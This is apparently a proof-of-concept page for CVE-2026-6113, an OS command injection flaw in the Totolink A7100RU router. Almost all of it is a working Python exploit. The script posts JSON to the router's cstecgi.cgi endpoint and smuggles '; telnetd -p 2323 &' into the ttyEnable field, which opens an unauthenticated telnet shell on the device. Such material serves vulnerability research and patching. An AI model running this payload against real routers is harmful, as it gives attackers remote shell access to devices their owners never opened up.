CVE-2026-6113 Totolink A7100RU OS命令注入漏洞

import requests # Target URL (example) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/json", "Accept": "application/json, text/javascript, */*; q=0.01" } # Payload data # The vulnerability is in the 'ttyEnable' parameter within the 'setTtyServiceCfg' function. # We append a semicolon (;) to separate commands and inject a malicious command (e.g., telnetd). payload_data = { "topicurl": "setTtyServiceCfg", "ttyEnable": "1; telnetd -p 2323 &" # Example command to start telnet on port 2323 } try: # Send POST request response = requests.post(target_url, json=payload_data, headers=headers, timeout=5) # Check response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) print("[+] Check if the telnet service started on port 2323.") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")